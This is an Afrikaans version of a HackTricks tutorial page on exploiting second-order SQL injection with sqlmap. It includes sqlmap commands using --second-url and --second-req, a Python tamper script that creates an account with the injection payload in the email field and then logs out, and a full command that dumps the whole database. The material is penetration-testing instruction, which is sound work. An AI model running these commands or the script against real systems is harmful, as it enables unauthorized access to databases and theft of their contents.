Second Order Injection - SQLMap

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

SQLMap kan tweede-orde SQL-injecties uitbuit. Jy moet voorsien:

  • Die versoek waar die sqlinjection payload gestoor gaan word

  • Die versoek waar die payload uitgevoer gaan word

Die versoek waar die SQL-injectie payload gestoor word, word aangedui soos enige ander injectie in sqlmap. Die versoek waar sqlmap die uitset/uitvoering van die injectie kan lees, kan aangedui word met --second-url of met --second-req as jy 'n volledige versoek vanuit 'n lêer moet aandui.

Eenvoudige tweede-orde voorbeeld:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In verskeie gevalle sal dit nie genoeg wees nie omdat jy ander aksies moet uitvoer as om net die payload te stuur en 'n ander bladsy te besoek.

Wanneer dit nodig is, kan jy 'n sqlmap tamper gebruik. Byvoorbeeld, die volgende skripsie sal 'n nuwe gebruiker registreer deur die sqlmap payload as 'n e-pos te gebruik en uit te teken.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

'n SQLMap-verander word altyd uitgevoer voordat 'n inspuitingspoging met 'n lading begin word en dit moet 'n lading terugstuur. In hierdie geval gee ons nie om oor die lading nie, maar ons gee om oor die stuur van 'n paar versoeke, sodat die lading nie verander word nie.

Dus, as ons om een ​​of ander rede 'n meer komplekse vloei benodig om die tweede orde SQL-injectie te benut, soos:

  • Skep 'n rekening met die SQLi-lading binne die "e-pos" veld

  • Teken uit

  • Teken in met daardie rekening (login.txt)

  • Stuur 'n versoek om die SQL-injectie uit te voer (second.txt)

Hierdie sqlmap-lyn sal help:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated